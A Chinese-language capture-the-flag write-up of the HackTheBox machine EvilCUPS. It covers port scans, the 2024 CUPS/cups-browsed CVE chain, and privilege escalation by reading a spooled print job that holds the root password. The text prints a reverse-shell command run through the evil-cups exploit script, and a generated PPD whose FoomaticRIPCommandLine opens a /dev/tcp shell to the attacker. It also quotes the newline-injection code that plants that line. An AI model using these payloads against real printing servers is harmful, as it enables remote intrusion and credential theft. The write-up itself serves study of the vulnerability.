参照:HTB: EvilCUPS | 0xdf hacks stuff

端口扫描

└─# nmap  10.10.11.40 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:27 EDT
Nmap scan report for 10.10.11.40
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
631/tcp open  ipp

Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds
                                                                                                                                
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p 22,631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:28 EDT
Nmap scan report for 10.10.11.40
Host is up (0.15s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.38 seconds

简单了解一下631端口的CUPS:

关于使用CUPS共享打印机的正确姿势,你可以永远告别打印驱动了-OPENWRT专版-恩山无线论坛

GPT:

CUPS(Common Unix Printing System)是一个开放源代码的打印系统,主要用于类 Unix 操作系统(如 Linux 和 macOS)。它提供了一个标准的打印服务,使得各种打印机能够通过网络共享和管理。CUPS 采用了客户端-服务器架构,并通过 Internet Printing Protocol (IPP) 进行打印任务的管理。

CUPS 的主要特点

  1. 跨平台支持:CUPS 可以在多种操作系统上运行,包括 Linux、macOS、BSD 和 Solaris。
  2. 网络打印:支持通过网络打印,允许多个客户端连接到打印服务器并共享打印机。
  3. 易于管理:提供一个 Web 界面(通常在 http://localhost:631 上可访问),使得用户可以方便地配置打印机、管理打印任务和查看打印状态。
  4. 支持多种打印机:兼容多种类型的打印机,包括本地连接的和网络打印机。
  5. 驱动程序支持:CUPS 支持多种打印机驱动程序,可以通过 PPD(PostScript Printer Description)文件来管理打印机。

UDP端口

根据博文,

根据 OpenSSH 版本,主机可能正在运行 Debian 12 bookworm。

看到 CUPS(通用 Unix 打印系统),我也会检查 UDP,它很可能是打开的:

==>

└─# nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 02:36 EDT
Nmap scan report for 10.10.11.40
Host is up (0.14s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

CUPS版本

nmap扫到版本是2.4,提交之后发现不对,访问一下CUPS服务器,发现还有更细微的版本划分:2.4.2

OpenPrinting CUPS 2.4.2

查询漏洞

漏洞编号 危害描述 CVSS 3.1****分数
CVE-2024-47175 libppd库中存在输入验证不当漏洞,未经验证的IPP 数据可能被写入临时PPD 文件,导致攻击者注入恶意数据。 8.6
CVE-2024-47076 libcupsfilters库中存在输入验证不当漏洞,攻击者可以发送恶意数据至CUPS 系统 8.6
CVE-2024-47177 cups-filters库中存在命令注入漏洞,攻击者可以通过FoomaticRIPCommandLine PPD参数执行任意命令 9.1

根据通过 CUPS 攻击 UNIX 系统,第 I 部分

  • CVE-2024-47176 漏洞 |cups-browsed <= 2.0.1 在 UDP INADDR_ANY:631 上绑定,Get-Printer-Attributes信任来自任何来源的任何数据包,以触发对攻击者控制的 URL 的 IPP 请求。
  • CVE-2024-47076 漏洞 |libcups过滤器 <= 2.1b1 cfGetPrinterAttributes5不会验证或清理从 IPP 服务器返回的 IPP 属性,从而向 CUPS 系统的其余部分提供攻击者控制的数据。
  • CVE-2024-47175 漏洞 |libppd <= 2.1b1 ppdCreatePPDFromIPP2在将 IPP 属性写入临时 PPD 文件时不验证或清理 IPP 属性,从而允许在生成的 PPD 中注入攻击者控制的数据。
  • CVE-2024-47177 漏洞 |cups-filters <= 2.0.1 foomatic-rip``FoomaticRIPCommandLine允许通过 PPD 参数执行任意命令。

使用脚本:IppSec/evil-cups

──(myenv)─(root㉿kali)-[~/work/HTB/EvilCUPS/evil-cups]
└─# python3 evilcups.py 10.10.16.2 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"'

本地起一个443端口监听,然后点击脚本上传的打印任务,选择打印测试页即可反弹一个 shell

script /dev/null -c bash 是一个命令,用于启动一个新的 Bash shell,但不将输出记录到文件中。这条命令的各部分含义如下:

  • **script**:这是一个用于记录终端会话的命令。它可以将所有在终端中输入的内容和输出记录到一个文件中。
  • **/dev/null**:这是一个特殊的设备文件,任何写入到这个文件的数据都会被丢弃。将输出重定向到 /dev/null 意味着不会保存输出。
  • **-c**:这是 script 命令的一个选项,后面跟着要执行的命令。在这种情况下,命令是 bash
  • **bash**:这是要启动的命令行解释器。

整体作用

使用 script /dev/null -c bash 命令可以启动一个新的 Bash shell,且不记录该会话的任何输出。这在需要临时使用 Bash shell,但又不想生成任何记录文件的情况下非常有用。

提权

查看可用用户

 cat /etc/passwd | grep "sh$"

根据CUPS 设计说明:

作业文件

调度程序将作业文件存储在 spool 目录中,通常为/var/spool/cups 。在假脱机目录中可以找到两种类型的文件:以字母 “c” 开头的控制文件 (“c00001”, “c99999”, “c100000” 等) 和以字母 “d” 开头的数据文件 (“d00001-001”、“d99999-001”、“d100000-001” 等)控制文件是基于原始 IPP 打印作业或创建作业消息的 IPP 消息,而数据文件是提交进行打印的原始打印文件。系统已知的每个作业都有一个控制文件,每个作业有 0 个或多个数据文件。

以及:

GPT:

如果你不是文件夹的所有者,且文件夹的权限设置为禁止其他用户列出内容(如 r-x),你将无法使用 ls 命令查看其内容,但仍可以访问特定的文件(如果你知道它们的路径并且有权限)。

这里无法直接ls出/var/spool/cups下的作业文件,但是根据作业文件的命名规则,尝试猜测数据文件名,在这个服务器上只打印了一个文件,此时猜测他的数据文件名为d00001-001,直接cat果然可以,把文件内容复制下来到本地,如何使用呢?

ps2pdf

GPT:

ps2pdf 是一个命令行工具,用于将 PostScript 文件转换为 PDF 文件。它是 Ghostscript 工具集的一部分,通常用于处理和转换图形文件。

基本用法

基本的命令格式如下:

bash


复制代码
ps2pdf input.ps output.pdf
  • **input.ps**:要转换的 PostScript 文件。
  • **output.pdf**:转换后生成的 PDF 文件。

例子

如果你有一个名为 document.ps 的 PostScript 文件,并希望将其转换为 document.pdf,你可以运行以下命令:

bash


复制代码
ps2pdf document.ps document.pdf

选项

ps2pdf 提供了一些可选参数,可以在转换时调整输出 PDF 的质量和其他设置。例如:

  • **-dPDFSETTINGS=**:设置 PDF 输出的质量,例如 screenebookprinterprepress 等。
  • **-dCompatibilityLevel=**:设置生成 PDF 的版本。

示例:

bash


复制代码
ps2pdf -dPDFSETTINGS=/ebook input.ps output.pdf

总结

ps2pdf 是一个非常有用的工具,可以轻松地将 PostScript 文件转换为 PDF 文件,适用于需要将打印文件格式转换为可分发和可阅读格式的情况

这里可以用这个工具把数据转换为pdf,打开可以看到:

pass.txt Sat Sep 28 09:30:10 2024 1

Br3@k-G!@ss-r00t-evilcups

这里就得到了管理员密码

维持

后部分博文还看不懂,抄一个在这里:

当我以这种方式创建打印机时,它会通过 IPP 访问给定的 URL。生成的属性将另存为文件,该文件位于 以打印机名称命名:cups-browsed``.ppd``/etc/cups/ppd

root@evilcups:/etc/cups/ppd# ls
HACKED_10_10_14_6.ppd
root@evilcups:/etc/cups/ppd# cat HACKED_10_10_14_6.ppd
*PPD-Adobe: "4.3"
*APRemoteQueueID: ""
*FormatVersion: "4.3"
*FileVersion: "1.28.17"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*FileSystem: False
*PCFileName: "drvless.ppd"
*Manufacturer: "HP"
*ModelName: "HP 0.00"
*Product: "(HP 0.00)"
*NickName: "HP 0.00, driverless, cups-filters 1.28.17"
*ShortNickName: "HP 0.00"
*DefaultOutputOrder: Normal
*ColorDevice: True
*cupsVersion: 2.4
*cupsSNMPSupplies: False
*cupsLanguages: "en"
*APSupplies: ""
*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
*cupsFilter2: "application/vnd.cups-pdf application/pdf 200 -"
*% Printer did not supply page size info via IPP, using defaults
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageSize
*DefaultPageSize: Letter
*PageSize Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageSize Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageSize Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageSize Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageSize A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageSize A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageSize A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageSize B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageSize EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageSize Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageSize EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageSize EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageSize EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*OpenUI *PageRegion/Media Size: PickOne
*OrderDependency: 10 AnySetup *PageRegion
*DefaultPageRegion: Letter
*PageRegion Letter/US Letter: "<</PageSize[612 792]>>setpagedevice"
*PageRegion Legal/US Legal: "<</PageSize[612 1008]>>setpagedevice"
*PageRegion Executive/Executive: "<</PageSize[522 756]>>setpagedevice"
*PageRegion Tabloid/Tabloid: "<</PageSize[792 1224]>>setpagedevice"
*PageRegion A3/A3: "<</PageSize[842 1191]>>setpagedevice"
*PageRegion A4/A4: "<</PageSize[595 842]>>setpagedevice"
*PageRegion A5/A5: "<</PageSize[420 595]>>setpagedevice"
*PageRegion B5/JIS B5: "<</PageSize[516 729]>>setpagedevice"
*PageRegion EnvISOB5/Envelope B5: "<</PageSize[499 709]>>setpagedevice"
*PageRegion Env10/Envelope #10 : "<</PageSize[297 684]>>setpagedevice"
*PageRegion EnvC5/Envelope C5: "<</PageSize[459 649]>>setpagedevice"
*PageRegion EnvDL/Envelope DL: "<</PageSize[312 624]>>setpagedevice"
*PageRegion EnvMonarch/Envelope Monarch: "<</PageSize[279 540]>>setpagedevice"
*CloseUI: *PageSize
*DefaultImageableArea: Letter
*ImageableArea Letter/US Letter: "18 12 594 780"
*ImageableArea Legal/US Legal: "18 12 594 996"
*ImageableArea Executive/Executive: "18 12 504 744"
*ImageableArea Tabloid/Tabloid: "18 12 774 1212"
*ImageableArea A3/A3: "18 12 824 1179"
*ImageableArea A4/A4: "18 12 577 830"
*ImageableArea A5/A5: "18 12 402 583"
*ImageableArea B5/JIS B5: "18 12 498 717"
*ImageableArea EnvISOB5/Envelope B5: "18 12 481 697"
*ImageableArea Env10/Envelope #10 : "18 12 279 672"
*ImageableArea EnvC5/Envelope C5: "18 12 441 637"
*ImageableArea EnvDL/Envelope DL: "18 12 294 612"
*ImageableArea EnvMonarch/Envelope Monarch: "18 12 261 528"
*DefaultPaperDimension: Letter
*PaperDimension Letter/US Letter: "612 792"
*PaperDimension Legal/US Legal: "612 1008"
*PaperDimension Executive/Executive: "522 756"
*PaperDimension Tabloid/Tabloid: "792 1224"
*PaperDimension A3/A3: "842 1191"
*PaperDimension A4/A4: "595 842"
*PaperDimension A5/A5: "420 595"
*PaperDimension B5/JIS B5: "516 729"
*PaperDimension EnvISOB5/Envelope B5: "499 709"
*PaperDimension Env10/Envelope #10 : "297 684"
*PaperDimension EnvC5/Envelope C5: "459 649"
*PaperDimension EnvDL/Envelope DL: "312 624"
*PaperDimension EnvMonarch/Envelope Monarch: "279 540"
*OpenUI *ColorModel/Print Color Mode: PickOne
*OrderDependency: 10 AnySetup *ColorModel
*DefaultColorModel: Gray
*ColorModel FastGray/Fast Grayscale: "<</cupsColorSpace 3/cupsBitsPerColor 1/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel Gray/Grayscale: "<</cupsColorSpace 18/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceGray>>setpagedevice"
*ColorModel RGB/Color: "<</cupsColorSpace 19/cupsBitsPerColor 8/cupsColorOrder 0/cupsCompression 0/ProcessColorModel /DeviceRGB>>setpagedevice"
*CloseUI: *ColorModel
*OpenUI *Duplex/2-Sided Printing: PickOne
*OrderDependency: 10 AnySetup *Duplex
*DefaultDuplex: None
*Duplex None/Off: "<</Duplex false>>setpagedevice"
*Duplex DuplexNoTumble/On (Portrait): "<</Duplex true/Tumble false>>setpagedevice"
*Duplex DuplexTumble/On (Landscape): "<</Duplex true/Tumble true>>setpagedevice"
*CloseUI: *Duplex
*DefaultResolution: 300dpi
*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 -"

重要的一行是:

*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""

当它打印时,它将运行我的反向 shell。

在它的正上方,有一个空参数:

*APSupplies: ""
*FoomaticRIPCommandLine: "bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1""

这可能是来自我上面提到的换行符注入:

                SectionEnum.printer,
                b'printer-more-info',
                TagEnum.uri
            ): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],
printer-more-info`必须转换为文件中的属性,然后新行开始 .`APSupplies``.ppd``FoomaticRIPCommandLine